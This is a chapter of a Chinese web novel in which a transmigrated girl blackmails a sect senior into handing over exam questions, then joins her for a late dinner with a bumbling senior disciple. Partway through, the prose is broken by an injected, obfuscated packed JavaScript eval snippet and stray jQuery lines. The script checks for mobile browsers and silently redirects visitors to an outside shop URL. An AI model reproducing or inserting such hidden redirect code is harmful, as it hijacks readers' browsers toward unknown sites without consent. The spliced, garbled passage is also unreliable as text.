“你想威胁我?”
“是啊!”
沈卿今天被赵清风一而再再而三地吼了好几次,心里本来就有怨,再想着今天自己看到了这么多她的秘密,她估计不会再愿意透露考题给她,还不如就此撕破脸皮,乐的轻松。
“说你傻你还真的傻,我完全可以在这坐到小明过来,我凭什么一定要跟你交易?”
赵清风一看沈卿嚣张的样子,心里气不打一处来,一边埋怨着谢明渊这呆子,一边又恨自己身体资质太差学不了轻功。可不管她心底有多么气恼,面上却不想掉了气势,她在山中跟那么些个初级弟子交易多次,明白只有气势上把人镇住,才能得到满意的报酬。
“哦?那么聪明的赵姑娘,你能告诉我如若这两个黑衣人赶在你的小明来之前醒了,看到你孤身一人作在树上,又不知道刚才发生了什么,你说会发生什么呢?”
沈卿如果能照镜子的话,就会发现自己现在的样子活脱脱一个电视剧里的坏人,挑衅的语气,恶意的话语,再加上笑地一脸不怀好意,和赵清风气的惨白的面容两相对比,可把赵清风衬得可怜极了。
谢明渊这蠢货!
赵清风被沈卿一说,才意识到了现在躺在地上挺尸的两个黑衣人只是晕了过去,万一转醒,说不定又要做出什么蠢事来!
“自从你来了碧霄山,这里的傻子越来越多了!”
虽然赵清风内心已经向沈卿妥协了,但是习惯使然,还是忍不住讽刺了沈卿两句。
“可不是么?这不,连赵姑娘你也被传染了这傻病,时间不等人,如若你再不表态,我可就走了。”
“好,你不就是要历年的考题么?我给你就是,你还不快帮我下去!”
“我这么幸苦怎么能只要历年的考题呢?我还要今年的,你今晚之前给我,不要想骗我,如若我发现你给的是假题,这次选拔后,我会让整个碧霄山的人都知道你和那个谢师兄私相授受!”
赵清风原本正想着自己一旦下了树就立刻反悔,让这个傻孢子知道什么叫做江湖险恶,谁知她不知怎么就机灵了起来,的确,小明是自己在这个碧霄山唯一的依靠,万一被山主知道了这些年小明为了让她选拔成功,一直把考题泄漏给她,那今后她将无所依靠。
这个小姑娘,心思可不像她表现地那么纯净。
“看来你已经学会了碧霄山的生存法则啊,好,一言为定。”
这些思绪在赵清风脑内只是一闪而过,她明白自己只能同意这个交易,遂也就不再生气,反而冷静了下来,仔细一想,这些考题其实也不算什么,自己可以再从别人身上把今天损失的给收回来。
沈卿对于赵清风略有深意的话也不多作反驳,只是翻了一个大大的白眼,然后老老实实地爬上了树,做这赵大小姐的脚垫子。赵清风想想这人肉脚垫可是花大价钱“买”的,用起来可是一点也不心疼,每一脚都把自己的体重实打实地放在了沈卿弱小的肩膀上。
要知道,赵清风虽说看起来纤细,一副弱不经风的样子,可是一米七左右的身高,光骨头的重量就能把沈卿压地起不来。
沈卿想要吐槽几句赵跋扈的吨位,但是泰山压顶的重量压得她只得把牙口咬紧,一句话也说不出来,只好一声不吭地熬着。幸好这几日的练习和劳作使她变得皮糙肉厚了不少,耐力也长了不少,虽然被赵清风慢如乌龟的速度折磨地满头大汗,她也居然撑了过来。
“你说不定真能当入门弟子呢!”
赵清风踩着沈卿的肩膀,最后一跃,落了地,瞥了一眼呼哧呼哧喘气的沈卿,觉得此女不仅跑得快,有耐力,小聪明不少,能忍被人骑睬之耻,也不一味善良,说不定真能在这碧霄山上获得一席之地。
“呼.....借你......吉言....呼呼.....”
沈卿光顾着喘气了,没注意到赵清风眼里一闪而过的欣赏。
.........................................................................
等到沈卿和赵清风狼狈不堪地爬出树林深处到达练习场边缘时,练习场早已没有人烟了,只有几只乌鸦呱呱地叫个不停,颇有些月黑风高杀人夜的即视感。沈卿再次迷茫地望了望天,又转头看了眼和自己一样满脸泥土,身上还有须有树枝划痕的赵清风,沉痛道:“我是不是错过了晚饭时间?”
赵清风淡定地拍了拍身上的尘土,看都没有看沈卿一眼。“就你这个志气!我还会让你饿着么?”
沈卿突然觉得赵清风的身影高大了起来,仿佛有光从她身上射出,让她心生仰慕之感。
看着赵清风拉着自己伤痕累累的手,沈卿虽然嘴上不说,心里却对这个一直蛮横嚣张的人亲近了起来,虽然她嘴巴毒了一些,做事自我了一些,不过她并没有害过自己啊,还给自己饭吃呢。
赵清风领着沈卿直直向练习场的东边跑去,小心翼翼地穿过了几间屋子,然后赵清风停在了一间略显古旧的房门外,赌气地把沈卿往前一推,说到:“去敲门!”
沈卿有些不知所措地站在门外,似乎听到房门里的人不断走近门边的声音,她想着自己空空如也的肚子,只好硬着头皮轻轻地敲了几下门,想着自己为了一顿晚饭,要尴尬地夹在暴脾气赵清风和二愣子谢师兄两人之间,就觉得人生好难。
“清风?怎么这么晚来找我?”
门“吱呀”一声开了,果然露出了谢明渊英俊的脸,只见他一脸惊讶地盯着赵清风,完全无视了沈卿的身影,沈卿也不计较,反而默默往一旁侧身,努力把自己藏在阴影了,一副你们小情侣满满聊,就把我当空气好了的样子。
“你是该惊讶,这么晚了,我应该还被你挂在树上才对,不,应该是饿死在树上才对,你说是不是?”
赵清风咬牙切齿一字一顿地吐出“是不是”三个字,只觉得眼前一脸无辜的谢明渊怎么看怎么欠揍。
“啊.....我.....
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516619|203211||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我忘了.......清风你......”怎么下得树啊?没受伤吧?
谢明渊问到一半,发现赵清风的脸色越来越臭,卡壳的脑子才有些清醒过来,明白再问下去清风真的要发怒了,急忙住了口,然后堆起满脸的笑容说道:“清风,你一定是饿了吧,我中午给你准备了个食盒.....啊食盒落林子里了!我这就叫人再准备些吃的,你先去....我屋里拿些水果吃,我马上回来!”
沈卿就在一旁屏息看着,这正经时候一脸潇洒儒雅的谢师兄,在面对赵清风不到一刻,脸色从红转白再转红又转白,跟走马灯似的,真是个二愣子。
“你落在树林里的可不止食盒,还有那两个黑衣人呢!你能不能以后长长脑子!”
“清风.....抱歉.....”
谢明渊看着赵清风一脸狼狈又疲惫的样子,心里又是心疼又是愧疚,但一时又口拙地想不出该说什么好,只好微微低着头,从沈卿的角度看来,好像犯错的学生被老师揪到的样子。
“还不去拿饭!”
赵清风看着低头认错的谢明渊,觉得既好气又好笑,从小到大小明就是这么个糯软的性子,面对自己就像老鼠见到猫一样,虽然现在他当了碧霄山山主的大弟子,武功又好,人也越发高大起来了,可自己每次看他就和看弟弟一个样,可是他竟然又对自己有情......
看着谢明渊以卓绝的轻功如踏云登月般离开的身影,赵清风暗自在心底摇了摇头。
沈卿其实很想进屋坐坐,吃些水果,毕竟自己穿越过来后,别说水果,就没吃过菜叶和米饭以外的事物,不过赵清风这个关系户还站在门外望月伤怀呢,自己也不好意思先进去,只得在角落里呆呆地看着赵清风,努力把她想象成大鸡腿来消磨时间。
“小丫头,别再看了,你是饿疯了么?”
赵清风实在忍受不了沈卿灼热的眼神,转过身来,然后嫌弃地扫了一眼沈卿嘴角隐隐的口水,一想到自己刚刚也许被这个饿鬼想象成猪肘子之类的东西,就觉得一阵恶寒。
“是啊!”
这两个字沈卿说得心不跳脸不红,绝对是包含了她所有真心的大实话,就恨不得用血在地上写一个饿字再加七个惨字了。
就在说话间,谢明渊提着食盒从天而降,飘然而至,那一阵阵肉香就这么涌进了沈卿的口鼻之中,沈卿浑身都颤栗了起来,如若不是那仅剩的理智在控制着自己,她都要扑过去了!
也许是沈卿的眼神太过饥渴,又也许是她的粗喘声太过剧烈,谢明渊总算注意到了她,他疑问地看了眼赵清风,赵清风虽然觉得丢人,但还是秉着援救小动物的人道主义精神朝谢明渊点了点头。
“这位小师妹,不介意的话,就一起进来吃点吧。”
谢明渊温柔的嗓音配上这动听的话语,让沈卿觉得肾上激素往外飙,心脏扑通扑通的跳个不停。
“谢谢师兄!师兄你一定会长命百岁的!”
师兄你今天在我心中两米八!